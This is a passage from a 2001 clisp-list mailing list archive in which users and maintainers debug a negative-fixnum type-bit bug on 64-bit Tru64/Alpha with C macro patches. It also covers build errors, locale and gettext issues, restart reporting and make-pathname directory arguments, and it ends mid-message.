make[1]: Leaving directory `/home/prw/clisp/TEST-2.28/bindings/linuxlibc6'
test -d wildcard || ../src/lndir ../modules/wildcard wildcard
if test -f wildcard/configure -a '!' -f wildcard/config.status ; then cd wildcard ; ./configure --cache-file=`echo wildcard/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi
configure: loading cache ../config.cache
configure: error: `CFLAGS' has changed since the previous run:
configure:   former value:  
configure:   current value: -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI
configure: error: changes in the environment can compromise the build
configure: error: run `make distclean' and/or `rm ../config.cache' and start over
make: *** [wildcard] Error 1

Regards,
Peter





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> * In message <20010920154000.1.RETI@VESUVIUS-VLM.AI.MIT.EDU>
> * On the subject of "[clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc"
> * Sent on Thu, 20 Sep 2001 11:40 -0400
> * Honorable Kalman Reti <reti@ai.mit.edu> writes:
>
> [I'm a Lisp expert, not a C expert, so forgive any infelicities of
> expression in the report below.]
> 
> I tried to follow the unix/INSTALL instructions to compile clisp but I had a
> couple of serious problems (as well as a few minor ones).  I'm using release
> 5.1 of Tru64 (nee Dec nee OSF) Unix with the native (non GNU) tools.
> 
> The first problem I encountered was that the compiler generated an error for the
> extern inline declarations in file lispbibl for input_stream_p and
> output_stream-p, with the text of the error message being "There is no definition
> for the inline function named ... in this compilation unit."

this is fixed in the current development sources (since 2001-08-05)

> The second problem is that the typedef in stdbool.h
> 
>   typedef enum { false = 0, true = 1 } _Bool;
> 
> gets an error "In this declaraction, "enum" cannot be combined with "_Bool"."
> I took out the typedef to get around this problem.

this has been fixed on 2001-08-05 too (C++ compilation patch from Bruno)

> With those two changes, the rest of the build proceeded with only warnings.
> However, some of the warnings looked troublesome.  (There were also lots that
> looked benign, including lots of complaints about return values for functions
> declared void.)  

this is because we do not know your compiler-specific declaration for
non-returning functions (see nonreturning_function in lispbibl.d).
patches are welcome.

> The troublesome ones all had to do with types (e.g. line, isearch_terimnators,
> etc.) reducing to unsigned char not matching char because they differed in the
> signed/unsigned attribute.  I have the log file of the build, in case anyone is
> interested in looking at it.

these are harmless.

> Finally, although the build completed and I had a working image,

congratulations!
do you mind creating a binary distribution for your platform?

>  make testsuite
> 
> confusingly said that tests failed and I should look in .erg files for the errors,
> but there were no .erg files!  [Later] I found one in the suite/ subdirectory
> (streamslong.erg).  Its contents are:
> 
> Form: (LOOP FOR SIZE FROM 2 TO 40 DO (BIN-STREAM-TEST :SIZE SIZE :TYPE 'SIGNED-BYTE))
> CORRECT: NIL
> CLISP: ERROR
> 
> I tried it by hand, and, sure enough, that test fails.

what about

(LOOP FOR SIZE FROM 3 TO 40 DO (BIN-STREAM-TEST :SIZE SIZE :TYPE 'SIGNED-BYTE))

is the problem only with '(signed-byte 2)?

>   (with-open-file (o "/tmp/test" :direction :output :element-type'(signed-byte 2))
> 	(write-byte 1 o)
> 	(write-byte 0 o)
> 	(write-byte -1 o)
> 	(write-byte -2 o))
> 
> writes a file which
> 
>   (with-open-file (i "/tmp/test" :direction :input :element-type'(signed-byte 2))
> 	(loop repeat 4 collect (read-byte i)))
> 
> returns as
> 
>   (1 0 1.7014s38 1.70139s38) !!

ouch!  this is weird...
can you try 2.26 (2001-05-23)?
(I fixed a big bug in non-whole byte i/o on 2001-06-27, I wonder if that
patch was at fault...)


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    Date: Thu, 20 Sep 2001 13:45 EDT
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[stuff elided]

    what about

    (LOOP FOR SIZE FROM 3 TO 40 DO (BIN-STREAM-TEST :SIZE SIZE :TYPE 'SIGNED-BYTE))

    is the problem only with '(signed-byte 2)?

I tried this form:

      (loop for size from 2 to 40 do (handler-case (bin-stream-test :size size :type'signed-byte) (error (e) (format t "~&Case ~d got error ~a" size e))))

and got this result:

Case 2 got error 
 * [(SIGNED-BYTE 2)] -10 != 1.70139s38
Case 3 got error 
 * [(SIGNED-BYTE 3)] -100 != 1.70136s38
Case 4 got error 
 * [(SIGNED-BYTE 4)] 0-111 != 1.70132s38
Case 5 got error 
 * [(SIGNED-BYTE 5)] 0-1111 != 1.70122s38
Case 6 got error 
 * [(SIGNED-BYTE 6)] -1 1011 != 1.70106s38
Case 7 got error 
 * [(SIGNED-BYTE 7)] -11 1000 != 1.70068s38
Case 8 got error 
 * [(SIGNED-BYTE 8)] 0-111 0001 != 1.69995s38
Case 9 got error 
 * [(SIGNED-BYTE 9)] 0-1001 1101 != 01.69937s38
Case 10 got error 
 * [(SIGNED-BYTE 10)] -1 0001 0110 != 0001.6978s38
Case 11 got error 
 * [(SIGNED-BYTE 11)] -10 0111 1011 != 0001.69317s38
Case 12 got error 
 * [(SIGNED-BYTE 12)] 0-100 1100 1110 != 000001.68545s38
Case 13 got error 
 * [(SIGNED-BYTE 13)] 000-10 1111 1111 != 0000001.69146s38
Case 14 got error 
 * [(SIGNED-BYTE 14)] -1 0000 1000 0001 != 00000001.64657s38
Case 15 got error 
 * [(SIGNED-BYTE 15)] 000-1011 1011 0101 != 000000001.66251s38
Case 16 got error 
 * [(SIGNED-BYTE 16)] 0-110 0100 1100 1100 != 00000000001.36646s38
Case 17 got error 
 * [(SIGNED-BYTE 17)] 00-111 1001 1111 1110 != 000000000001.29602s38
Case 18 got error 
 * [(SIGNED-BYTE 18)] 000-111 1010 0011 0101 != 0000000000001.29531s38
Case 19 got error 
 * [(SIGNED-BYTE 19)] 0000-110 0010 1010 0010 != 00000000000001.37365s38
Case 20 got error 
 * [(SIGNED-BYTE 20)] 0-101 1101 0111 1111 0111 != 00000000000000003.0742s36
Case 21 got error 
 * [(SIGNED-BYTE 21)] 0-1001 1000 1100 1111 0010 != 00000000000000002.40828s35
Case 22 got error 
 * [(SIGNED-BYTE 22)] 00-1111 0111 0110 1000 1111 != 000000000000000003.98997s33
Case 23 got error 
 * [(SIGNED-BYTE 23)] 0000-111 1000 0110 0110 0100 != 00000000000000000009.8033s35
Case 24 got error 
 * [(SIGNED-BYTE 24)] 0-111 0011 1010 1000 1000 1011 != 0000000000000000000002747.66s0
Case 25 got error 
 * [(SIGNED-BYTE 25)] 0-1101 0100 1000 0111 1111 1111 != 000000000000000000001.89833s-26
Case 26 got error 
 * [(SIGNED-BYTE 26)] 00-1000 1110 1111 0100 0011 1010 != 00000000000000000000001.59605s-5
Case 27 got error 
 * [(SIGNED-BYTE 27)] -10 0111 1101 1111 1111 1100 1011 != 0000000000000000000000002.00162s0
Case 28 got error 
 * [(SIGNED-BYTE 28)] 00-10 1010 0011 0011 1100 1011 0110 != 0000000000000000000000001.28264s-11
Case 29 got error 
 * [(SIGNED-BYTE 29)] 000-11 1100 1111 0100 1010 1110 0100 != 000000000000000000000000007.0619s-25
Case 30 got error 
 * [(SIGNED-BYTE 30)] -1 0101 0111 0000 1110 1100 0011 0100 != 000000000000000000000000000017651.0s0
Case 31 got error 
 * [(SIGNED-BYTE 31)] 0-1 1001 0100 1101 0001 0000 1001 0010 != 00000000000000000000000000001.08946s15
Case 32 got error 
 * [(SIGNED-BYTE 32)] 00000-1111 1001 1010 1110 0111 1111 1001 != 0000000000000000000000000000004.07493s-9
Case 33 got error 
 * [(SIGNED-BYTE 33)] 0-1011 1110 0011 1000 1001 0011 1000 1000 != 00000000000000000000000000000001.68082s21
Case 34 got error 
 * [(SIGNED-BYTE 34)] 00-1001 0110 1110 1001 0110 0000 1011 0101 != 000000000000000000000000000000009.9978s-33
Case 35 got error 
 * [(SIGNED-BYTE 35)] 000-1111 1001 0000 0000 1100 1001 1111 1101 != 0000000000000000000000000000000001.03019s38
NIL

    >   (with-open-file (o "/tmp/test" :direction :output :element-type'(signed-byte 2))
    > 	(write-byte 1 o)
    > 	(write-byte 0 o)
    > 	(write-byte -1 o)
    > 	(write-byte -2 o))
    > 
    > writes a file which
    > 
    >   (with-open-file (i "/tmp/test" :direction :input :element-type'(signed-byte 2))
    > 	(loop repeat 4 collect (read-byte i)))
    > 
    > returns as
    > 
    >   (1 0 1.7014s38 1.70139s38) !!

    ouch!  this is weird...
    can you try 2.26 (2001-05-23)?
    (I fixed a big bug in non-whole byte i/o on 2001-06-27, I wonder if that
    patch was at fault...)

2.26 passed the tests according to the script, but my hand test above returned
the same bogus values as above!

Under both 2.26 and 2.27 reading the same file back as '(unsigned-byte 2) returns
(1 0 3 2), which seems right.



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> * In message <20010920213650.0.RETI@RAINIER-VLM.AI.MIT.EDU>
> * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc"
> * Sent on Thu, 20 Sep 2001 17:36 -0400
> * Honorable reti@ai.mit.edu writes:
>
> 2.26 passed the tests according to the script, but my hand test above
> returned the same bogus values as above!

the binary i/o test was added after the bug was fixed.
thanks for testing.

can you give me access to your machine so that I will be able to debug
the problem?


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> Matise@Biology.Rutgers.Edu schrieb:
> I am trying to obtain CLISP binaries for some of the more recent version of
> CLISP.  I understand that the usual FTP site for these:
> ftp://clisp.cons.org/pub/lisp/clisp/binaries/
> is not currently working.  The Sourceforge site seems to only have source
> code, not binaries.  have I missed something at Sourceforge?  Does anyone
> know if the old pub/lisp/clisp/binaries/ directory will be available again,
> and if so, when?

sourceforge recently turned off ftp
we have to use now their own homebrewn download script.


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> * In message <20010921170920.2.RETI@RAINIER-VLM.AI.MIT.EDU>
> * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc"
> * Sent on Fri, 21 Sep 2001 13:09 -0400
> * Honorable reti@ai.mit.edu writes:
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> [mailing list removed]

please do not do that because mailing lists are archived and my
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> 	  (loop for size from 2 to 40 do (handler-case (bin-stream-test :size size :type'signed-byte) (error (e) (format t "~&Case ~d got error ~a" size e))))
> 
>     and got this result:
> 
>     Case 2 got error 
>      * [(SIGNED-BYTE 2)] -10 != 1.70139s38

you also got errors until case 35, i.e., bignums are broken too.

> The problem appears to be in the following code from the rd_by_iu_I routine in stream.d/c:
> 
>       return negfixnum(wbitm(intLsize)+(oint)wert);
> 
> The wbitm appears to be adding 0x100000000 to the correct signed C
> value in wert, and then negfixnum is adding that to 0x4200000000 to
> produce 0x44xxxxxxxx.  If I change it back to 0x43xxxxxxxx, I get the
> right answer, so whatever bit 0x100000000 is (the mark bit?), it is
> erroneously getting added in twice apparently changing the type code.

interesting.
what if you replace the line with

        return negfixnum((oint)wert);

what does "make check" say?

thanks.

-- 
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Hi,
I'm trying to build clisp on MAC OS X. When I run the configure
script it complains that it can't figure out what the system type is.

Can anyone tell me what I should use on a MAX OS X machine?

Thanks.
Pat.



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Date: Fri Sep 21 18:40:03 2001
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hallo

in:
Documentation about Common Lisp (resource.htm)
I found a link to: (CLtL2 in HTML [Mark Kantrowitz]) 
http://www.cs.cmu.edu/afs/cs.cmu.edu/project/ai-repository/ai/html/cltl/cltl2.html
links to (middle of page):
http://www-2.cs.cmu.edu/afs/cs.cmu.edu/project/ai-respository/ai/lang/lisp/doc/cltl/cltl_ht.tgz
where I download the htm-manual:
cltl_ht.tgz (1.716.285)
inside there is a:
cltl_ht.tar (15.09.06-04:19)
and winzip is not able to extrakt it.

I guess it is the "" at the beginn of the filename.tar that makes the
problem. 
how can I extract it ? (win98 system)

stefan

the cltl_scr.tar reports:
Trailing garbage in gzip file, decompression ended.


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Date: Sat Sep 22 03:09:02 2001
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lin8080 schrieb:
> inside there is a:
> cltl_ht.tar (15.09.06-04:19)
> and winzip is not able to extrakt it.
> 
> I guess it is the "" at the beginn of the filename.tar that makes the
> problem.
> how can I extract it ? (win98 system)

cs.cmu.edu/afs is known to notoriously sending wrong content-type headers.
please download it again with wget. 
maybe a download with internet explorer or other special download software
also works.
netscape downloads will never work.
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Bruno Haible <haible@ilog.fr> writes:

> Sam wrote:
> 
[...]
> > From: Bernard Urban <Bernard.Urban@meteo.fr>
> > 
> > Good news from the front ! It works now on Linux (not tried Solaris so far
> > to confirm Raymond Toy message).
> > 
> > I spotted the problem to be in gettext/intl/dcigettext.c in 
> > #define HAVE_LOCALE_NULL. It appears that setlocale (.., NULL) does
> > not work as assumed in the case of glibc2, and always returns the C
> > locale instead of the fr locale defined in spvw_language.d.
> > 
> > So undefining HAVE_LOCALE_NULL forces the code to use instead
> > getenv("LC_MESSAGES"), which works ok.
> 
> I have tried undefining HAVE_LOCALE_NULL in gettext yesterday, and the
> effect is that gettext becomes less reliable. It has the effect that
> when I set e.g.   LANGUAGE=fr LANG=fr_DE  (i.e. pointing to a
> nonexistent locale), I get the french translations, but in a wrong
> character encoding! Therefore it's really better if gettext relies on
> the locales being present.

> 
But in my case (Debian system), the fr locale prexisted 
(in /usr/share/locale) for some GNU utilities, 
so it should have been found ?

> > A long term solution to the above HAVE_LOCALE_NULL problem is probably
> > to test the feature through autoconf.
> 
> You cannot test for missing locales through autoconf. On every system,
> some locales are missing.
> 

I mean testing if HAVE_LOCALE_NULL works as expected, its value is
currently based on the use of glibc2.

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> But in my case (Debian system), the fr locale prexisted 
> (in /usr/share/locale) for some GNU utilities, 
> so it should have been found ?

The locale is in /usr/lib/locale, and in glibc-2.2 there is no "fr"
locale. (What kind of monetary information would it contain? French or
Swiss or Luxemburgish Franc?)

What you see in /usr/share/locale are the translation catalogs, where
a catalog named "fr" acts as fallback for all locales starting in
"fr_": "fr_FR", "fr_CH" etc.

Bruno


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    Date: Fri, 21 Sep 2001 14:09 EDT
    From: Sam Steingold <sds@gnu.org>

    > * In message <20010921170920.2.RETI@RAINIER-VLM.AI.MIT.EDU>
    > * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc"
    > * Sent on Fri, 21 Sep 2001 13:09 -0400
    > * Honorable reti@ai.mit.edu writes:
    >
    > [mailing list removed]

    please do not do that because mailing lists are archived and my
    personal mail is not.

Sorry, I was just trying to prevent bothering everyone with what seemed
like a one-on-one conversation.

    > 	  (loop for size from 2 to 40 do (handler-case (bin-stream-test :size size :type'signed-byte) (error (e) (format t "~&Case ~d got error ~a" size e))))
    > 
    >     and got this result:
    > 
    >     Case 2 got error 
    >      * [(SIGNED-BYTE 2)] -10 != 1.70139s38

    you also got errors until case 35, i.e., bignums are broken too.

    > The problem appears to be in the following code from the rd_by_iu_I routine in stream.d/c:
    > 
    >       return negfixnum(wbitm(intLsize)+(oint)wert);
    > 
    > The wbitm appears to be adding 0x100000000 to the correct signed C
    > value in wert, and then negfixnum is adding that to 0x4200000000 to

Whoops, the above should have been 0x43000000 insteand of 0x4200000000.

    > produce 0x44xxxxxxxx.  If I change it back to 0x43xxxxxxxx, I get the
    > right answer, so whatever bit 0x100000000 is (the mark bit?), it is
    > erroneously getting added in twice apparently changing the type code.

I was wrong.  It got what appeared to be the right answer, i.e. it printed
out as -1 or -2 (the two test cases I used in the 2-bit case) but those
returned values were not EQ (or EQL or EQUAL) to a typed-in -1 or -2.

0x43ffffffff prints out as -1, but 0x42ffffffff is the real -1.


    interesting.
    what if you replace the line with

	    return negfixnum((oint)wert);

    what does "make check" say?

It still fails, but this time because the values, although they print out OK,
are not EQL, since they have the 0x43 type bits instead of the 0x42 type bits.

    thanks.

    -- 
    Sam Steingold (http://www.podval.org/~sds)
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> * In message <20010924194431.4.RETI@RAINIER-VLM.AI.MIT.EDU>
> * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc"
> * Sent on Mon, 24 Sep 2001 15:44 -0400
> * Honorable reti@ai.mit.edu writes:
>
> Sorry, I was just trying to prevent bothering everyone with what
> seemed like a one-on-one conversation.

I understand.

>     > produce 0x44xxxxxxxx.  If I change it back to 0x43xxxxxxxx, I
>     > get the right answer, so whatever bit 0x100000000 is (the mark
>     > bit?), it is erroneously getting added in twice apparently
>     > changing the type code.
> 
> I was wrong.  It got what appeared to be the right answer, i.e. it
> printed out as -1 or -2 (the two test cases I used in the 2-bit case)
> but those returned values were not EQ (or EQL or EQUAL) to a typed-in
> -1 or -2.
> 
> 0x43ffffffff prints out as -1, but 0x42ffffffff is the real -1.

what do you get as type-of for 0x43ffffffff?

what do you get when you replace

        return negfixnum(wbitm(intLsize)+(oint)wert);

with

        return negfixnum(-wbitm(intLsize)+(oint)wert);

??

thanks for your help!

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    Date: Mon, 24 Sep 2001 16:38 EDT
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[stuff elided]

    what do you get as type-of for 0x43ffffffff?

Fixnum    
    
    what do you get when you replace

	    return negfixnum(wbitm(intLsize)+(oint)wert);

    with

	    return negfixnum(-wbitm(intLsize)+(oint)wert);

    ??

That fixed it.  Just out of curiosity, what is bit 32 supposed to mean?

    thanks for your help!

You're welcome.


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Is clisp simply missing an implementation of ensure-generic-function or am
I doing something wrong that's keeping me from being able to use it?

I ask mainly because I'm trying to use the code repository from AI a
Modern Approach, and it won't compile because of this.

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> * In message <20010925130011.5.RETI@RAINIER-VLM.AI.MIT.EDU>
> * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc"
> * Sent on Tue, 25 Sep 2001 09:00 -0400
> * Honorable reti@ai.mit.edu writes:
>
>     Date: Mon, 24 Sep 2001 16:38 EDT
>     From: Sam Steingold <sds@gnu.org>
> 
> [stuff elided]
> 
>     what do you get as type-of for 0x43ffffffff?
> 
> Fixnum    

what does this evaluate to?
(+ 0 0x43ffffffff) ==> 

>     what do you get when you replace
> 
> 	    return negfixnum(wbitm(intLsize)+(oint)wert);
> 
>     with
> 
> 	    return negfixnum(-wbitm(intLsize)+(oint)wert);
> 
>     ??
> 
> That fixed it.

all cases?  fixnum and bignum?  make check now passes?

> Just out of curiosity, what is bit 32 supposed to mean?

all 3 cases:
   return negfixnum( wbitm(intLsize)+(oint)wert);
   return negfixnum(-wbitm(intLsize)+(oint)wert);
   return negfixnum(                 (oint)wert);
are identical on win32, linux and solaris.

I wonder what is going on here.

Note that negfixnum() is used in just a couple of place in the whole of
CLISP - actually, always with small constants, except for SF_to_I() and
FF_to_I().  Kalman, could you please try coercing some negative single
and short floats to fixnums?

Bruno, I would greatly appreciate your insight.

thanks.

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    Date: Tue, 25 Sep 2001 12:23 EDT
    From: Sam Steingold <sds@gnu.org>


    what does this evaluate to?
    (+ 0 0x43ffffffff) ==> 

Prints out as -1, but isn't EQL to typed in -1, hence I deduce it
is an example of 0x43ffffffff.

    >     what do you get when you replace
    > 
    > 	    return negfixnum(wbitm(intLsize)+(oint)wert);
    > 
    >     with
    > 
    > 	    return negfixnum(-wbitm(intLsize)+(oint)wert);
    > 
    >     ??
    > 
    > That fixed it.

    all cases?  fixnum and bignum?  make check now passes?

Yes, sorry for not making that clear.

    > Just out of curiosity, what is bit 32 supposed to mean?

    all 3 cases:
       return negfixnum( wbitm(intLsize)+(oint)wert);
       return negfixnum(-wbitm(intLsize)+(oint)wert);
       return negfixnum(                 (oint)wert);
    are identical on win32, linux and solaris.

You mean a 32-bit Linux, right?  I'm planning to set up an Alpha Linux
presently, and I presume it would behave the same way as Tru64. Is the
Solaris on a 64-bit or 32-bit system?  The code is conditionalized to
allow more type bits for 64-bit systems, so it isn't surprisiing that
32-bit systems don't see any problems.

    I wonder what is going on here.

There is something curious in lispbibl.c:

      /* Bits 63..33 = Typcode, Bits 32..0 = Adresse */
      #if 1 /* Was ist besser?? */
        #define oint_type_shift 32
        #define oint_type_len 32
      #else
        #define oint_type_shift 33
        #define oint_type_len 31
      #endif
      #define oint_type_mask 0xFFFFFFFE00000000UL
      #define oint_addr_shift 0
      #define oint_addr_len 33
      #define oint_addr_mask 0x00000001FFFFFFFFUL
      #define oint_data_shift 0
      #define oint_data_len 32
      #define oint_data_mask 0x00000000FFFFFFFFUL

I'm guessing that the original code was the second leg of the #if 1, i.e.
shift of 33 and length of 31, but someone was trying out the first branch,
i.e. shift of 32 and length of 32.  However, the oint_type_mask value looks
like it goes with the original value (i.e. 31 bits starting in bit 33).  
This makes the type bits be shifted over one from where the should be,
(i.e. fixnum is 0x40 instead of 0x20) and leaves room for the "don't care"
bit which leads to the confusion between 0x43ffffffff and 0x42ffffffff. 

However, putting it back didn't fix this particular bug.

From reading the code some more, I'm reasonably certain that bit 32 is
intended to be the fixnum sign bit, and that the wbitm(intLsize)+ part
of the expression is intended to be doing sign extension of the known to
be negative sign of the C value into that sign bit.  

The various preprocessor macros used inside negfixnum (fixnum_inc which
calls objectplus which calls pointerplus) seem to expect addition to be
modulo 32-bits, i.e. not affecting the sign or type bits, but on a 64bit
machine the addition is a 64-bit one, and if you supply the sign bit
twice [in this case both from the Fixnum_minus1 in negfixnum's expansion
and the wbitm(intLsize) in returning the result], the overflow out of
the sign bit goes into the next higher order type bit, hence the bug of
returning a short float result instead of a negative fixnum.  (The type
short float is next higher than fixnum.)

My guess is that on a 64-bit machine, fixnum_inc needs to be a bit smarter
and do a masked or 32-bit addition.

    Note that negfixnum() is used in just a couple of place in the whole of
    CLISP - actually, always with small constants, except for SF_to_I() and
    FF_to_I().  Kalman, could you please try coercing some negative single
    and short floats to fixnums?

I'm not sure what you want me to do.  The Common Lisp COERCE function won't
accept fixnum as a type.  Floor and ceiling work as expected, i.e. give
correct negative integers, not the bogus ones.

    Bruno, I would greatly appreciate your insight.

    thanks.

    -- 
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> * In message <20010926074512.6.RETI@RAINIER-VLM.AI.MIT.EDU>
> * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc"
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>
>     > Just out of curiosity, what is bit 32 supposed to mean?
> 
>     all 3 cases:
>        return negfixnum( wbitm(intLsize)+(oint)wert);
>        return negfixnum(-wbitm(intLsize)+(oint)wert);
>        return negfixnum(                 (oint)wert);
>     are identical on win32, linux and solaris.
> 
> You mean a 32-bit Linux, right?
yes, and 32-big Solaris too.
sorry about not saying this.

> I'm planning to set up an Alpha Linux presently, and I presume it
> would behave the same way as Tru64.

Unfortunately, I must tell you that CLISP does _not_ work on Alpha Linux
with glibc2.2 (it _does_ work with glibc2.1).
http://sourceforge.net/tracker/index.php?func=detail&aid=223193&group_id=1355&atid=101355
your assistance in tracking down the problem would be greatly appreciated!

>     Note that negfixnum() is used in just a couple of place in the whole of
>     CLISP - actually, always with small constants, except for SF_to_I() and
>     FF_to_I().  Kalman, could you please try coercing some negative single
>     and short floats to fixnums?
> 
> I'm not sure what you want me to do.  The Common Lisp COERCE function
> won't accept fixnum as a type.

if the float is small enough, (coerce float 'integer) should return a
fixnum.

> My guess is that on a 64-bit machine, fixnum_inc needs to be a bit
> smarter and do a masked or 32-bit addition.

could you please remove "wbitm(intLsize)" from the negfixnum() call
altogether and try the appended patch?  [untested - I am sure you can
fix it :-]

thanks.

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Index: lispbibl.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/lispbibl.d,v
retrieving revision 1.217
diff -u -w -b -u -b -w -i -B -r1.217 lispbibl.d
--- lispbibl.d	2001/09/24 20:03:22	1.217
+++ lispbibl.d	2001/09/26 16:36:52
@@ -2619,11 +2619,15 @@
 
 # To add something to an object/oint:
 # objectplus(obj,offset)
+#define add(obj,offset)                                         \
+  ( (as_oint(obj)                    & oint_type_mask) |        \
+    (as_oint(obj) + (soint)(offset)) & oint_addr_mask )
 #if !(defined(WIDE_SOFT) || defined(OBJECT_STRUCT))
-  #define objectplus(obj,offset)  ((object)pointerplus(obj,offset))
+  #define objectplus(obj,offset)  ((object)add(obj,offset))
 #else # defined(WIDE_SOFT) || defined(OBJECT_STRUCT)
-  #define objectplus(obj,offset)  as_object(as_oint(obj)+(soint)(offset))
+  #define objectplus(obj,offset)  as_object(add(obj,offset))
 #endif
+#undef add
 
 # Bit operations on sizes of type oint:
 # ...wbit... instead of ...bit..., "w" = "wide".



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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:


    Sam> if the float is small enough, (coerce float 'integer) should return a
    Sam> fixnum.

Are you sure?  This seems wrong to me.

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> * In message <4nhetopdel.fsf@rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc"
> * Sent on 27 Sep 2001 16:49:38 -0400
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> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     Sam> if the float is small enough, (coerce float 'integer) should return a
>     Sam> fixnum.
> 
> Are you sure?  This seems wrong to me.

you are right.
sorry.
I wonder how to make CLISP invoke FF_to_I().
Bruno?

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Greetings,

I was looking at the sample code in the CL-HyperSpec on restarts and noticed 
that CLisp had a different behaviour.  In particular the restart-report was 
not printed when the restart was invoked interactively.  I got the expected 
behaviour when I redefined INVOKE-RESTART-INTERACTIVELY in the 
"condition.lisp" source file to output the report.

;; INVOKE-RESTART-INTERACTIVELY, CLtL2 p. 911
(defun invoke-restart-interactively (restart-identifier)
  (let ((restart (find-restart restart-identifier)))
    (unless restart (restart-not-found restart-identifier))
    ;; repeat the :report if available
    (let ((report (restart-report restart)))
      (when report
	(format t "~a~%" report)
	(finish-output)))
    (let ((arguments (funcall (restart-interactive restart))))
      (%invoke-restart restart arguments)
) ) )

By the way, thanks much for CLisp!!!  I have just started using it and really 
appreciate it.

Cheers,
-KenD
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> * In message <01093018211300.00264@bandicoot>
> * On the subject of "[clisp-list] Change Request on INVOKE-RESTART-INTERACTIVELY"
> * Sent on Sun, 30 Sep 2001 18:21:13 -0700
> * Honorable Ken Dickey <kend0@earthlink.net> writes:
>
> I was looking at the sample code in the CL-HyperSpec on restarts and
> noticed that CLisp had a different behaviour.

the example is bogus:
READ-NEW-VALUE should ask "enter new value" while the example reads
"Enter a new ice cream:"

> In particular the restart-report was not printed when the restart was
> invoked interactively.  I got the expected behaviour when I redefined
> INVOKE-RESTART-INTERACTIVELY in the "condition.lisp" source file to
> output the report.
> 
> ;; INVOKE-RESTART-INTERACTIVELY, CLtL2 p. 911
> (defun invoke-restart-interactively (restart-identifier)
>   (let ((restart (find-restart restart-identifier)))
>     (unless restart (restart-not-found restart-identifier))
>     ;; repeat the :report if available
>     (let ((report (restart-report restart)))
>       (when report
> 	(format t "~a~%" report)

you mean (funcall report *terminal-io*), right?

> 	(finish-output)))

I don't think you need this.

>     (let ((arguments (funcall (restart-interactive restart))))
>       (%invoke-restart restart arguments)
> ) ) )

I don't think that there is much use printing the restart description
yet again:

we have now:

*** - Bad tasting sundae with VANILLA, CARAMEL, and CHERRY
The following restarts are available:
R1 = Use a new ice cream.
R2 = Use a new sauce.
R3 = Use a new topping.

1. Break [2]> r1
Enter a new value: 'c

you want:

*** - Bad tasting sundae with VANILLA, CARAMEL, and CHERRY
The following restarts are available:
R1 = Use a new ice cream.
R2 = Use a new sauce.
R3 = Use a new topping.

1. Break [2]> r1
Use a new ice cream.
Enter a new value: 'c

I doubt this is much better.

> By the way, thanks much for CLisp!!!  I have just started using it and
> really appreciate it.

you are very welcome!

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> > My guess is that on a 64-bit machine, fixnum_inc needs to be a bit
> > smarter and do a masked or 32-bit addition.
> 
> could you please remove "wbitm(intLsize)" from the negfixnum() call
> altogether and try the appended patch? 

my patch was broken.

please try this:

Index: lispbibl.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/lispbibl.d,v
retrieving revision 1.217
diff -u -w -b -r1.217 lispbibl.d
--- lispbibl.d  2001/09/24 20:03:22     1.217
+++ lispbibl.d  2001/10/01 13:49:08
@@ -4082,7 +4082,9 @@
 # > delta: a constant
 # < result: incremented fixnum
 #define fixnum_inc(obj,delta)  \
-    objectplus(obj, (soint)(delta) << oint_data_shift)
+ (as_object( (as_oint(obj) & oint_type_mask) |                          \
+            ((as_oint(obj) + ((soint)(delta) << oint_data_shift))       \
+                           & oint_addr_mask) ))
 
 # posfixnum(x) is a fixnum with value x>=0.
 #define posfixnum(x)  fixnum_inc(Fixnum_0,x)

thanks.

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I noticed a couple things that do not seem to work with clisp's
make-pathname that I believe should work, based on
http://www.xanalys.com/software_tools/reference/HyperSpec/Body/sec_19-2-2-4-
3.html.

String as a directory component:

  [19]> (make-pathname :directory "DPMA")

  *** - MAKE-PATHNAME: illegal :DIRECTORY argument "DPMA"

More specifically, the standard says
(http://www.xanalys.com/software_tools/reference/HyperSpec/Body/fun_make-pat
hname.html)
"If the directory is a string, it should be the name of a top level
directory, and should not contain any punctuation characters; that is,
specifying a string, str, is equivalent to specifying the list
(:absolute str)."


:up in a directory component:

  [21]> (make-pathname :directory '(:relative "DPMA" :up "DPMA"))

  *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE "DPMA" :UP
"DPMA")

(I guess this one isn't required to work by the standard, but it would
sure be nice.)


Thanks,
John Wiseman



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> * In message <NDBBIAAEHKEHKBJDNFKFIEDOFFAA.wiseman@inetmi.com>
> * On the subject of "[clisp-list] make-pathname; directory components"
> * Sent on Mon, 1 Oct 2001 12:03:01 -0500
> * Honorable "John Wiseman" <wiseman@inetmi.com> writes:
>
>   [19]> (make-pathname :directory "DPMA")
>   *** - MAKE-PATHNAME: illegal :DIRECTORY argument "DPMA"

fixed, thanks for the report.

> :up in a directory component:
> 
>   [21]> (make-pathname :directory '(:relative "DPMA" :up "DPMA"))
> 
>   *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE "DPMA" :UP
> "DPMA")
> 
> (I guess this one isn't required to work by the standard, but it would
> sure be nice.)

why?  how is :up better than ".."?

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> > :up in a directory component:
> >
> >   [21]> (make-pathname :directory '(:relative "DPMA" :up "DPMA"))
> >
> >   *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE "DPMA" :UP
> > "DPMA")
> >
> > (I guess this one isn't required to work by the standard, but it would
> > sure be nice.)
>
> why?  how is :up better than ".."?

Well, the standard does explicitly mention the use of the :WILD,
:WILD-INFERIORS, :UP, and :BACK "special markers" inside directory
components, and what each symbol means.  If you're going to support
the functionality, which does seem useful, I think it's best to go
